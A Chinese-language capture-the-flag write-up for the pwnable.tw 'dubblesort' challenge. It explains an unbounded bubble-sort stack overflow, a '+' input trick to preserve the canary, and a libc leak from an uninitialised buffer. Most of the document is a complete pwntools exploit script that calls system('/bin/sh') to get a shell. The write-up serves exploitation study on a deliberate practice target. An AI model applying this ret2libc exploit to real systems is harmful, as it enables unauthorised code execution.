[pwnable.tw]-dubblesort

  • 实现了一个冒泡排序的算法,但由于没有对要排序的个数进行限制,所以会栈溢出,但开了canary,我们需要一个既让scanf认为它是合法字符,同时又不会修改栈上的数据,这里可以用+或-,因为他们可以定义正负数,输入name的时候由于没有初始化变量又没有终止符所以可以泄漏libc
[pwnable.tw]-dubblesort_第1张图片
  • 栈溢出的时候注意要设置溢出数据的大小排序,最终在栈中的位置是排序后的位置

exp:

#coding:utf-8
from PwnContext.core import *

#context.log_level = 'debug'

binary = './dubblesort'
debug_libc = './libc.so.6'

ctx.binary = binary
ctx.remote_libc = debug_libc
libc = ELF(debug_libc)
ctx.debug_remote_libc = True

p = ctx.start()
libc = ELF('./libc.so.6')

def write_data(data):
    p.recvuntil('number : ')
    p.sendline(data)

#gdb.attach(p,'b *0x56555a1d')
p.recvuntil('name :')
p.send('a'*28)
p.recvuntil('a'*28)
libc_base = u32(p.recv(4)) - 0x1ae244
log.success('libc_base addr : 0x%x'%libc_base)
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
log.success('system addr : 0x%x'%system_addr)
log.success('binsh addr : 0x%x'%binsh_addr)


p.recvuntil('sort :')

num = 35
p.sendline(str(num))

for i in range(24):
    write_data('0')

write_data('+')

for i in range(7):
    write_data(str(0xf0000000))

write_data(str(system_addr))
write_data(str(system_addr + 1))
write_data(str(binsh_addr))

#gdb.attach(p,'b *0x56555af9')

p.interactive()
[pwnable.tw]-dubblesort_第2张图片

你可能感兴趣的:([pwnable.tw]-dubblesort)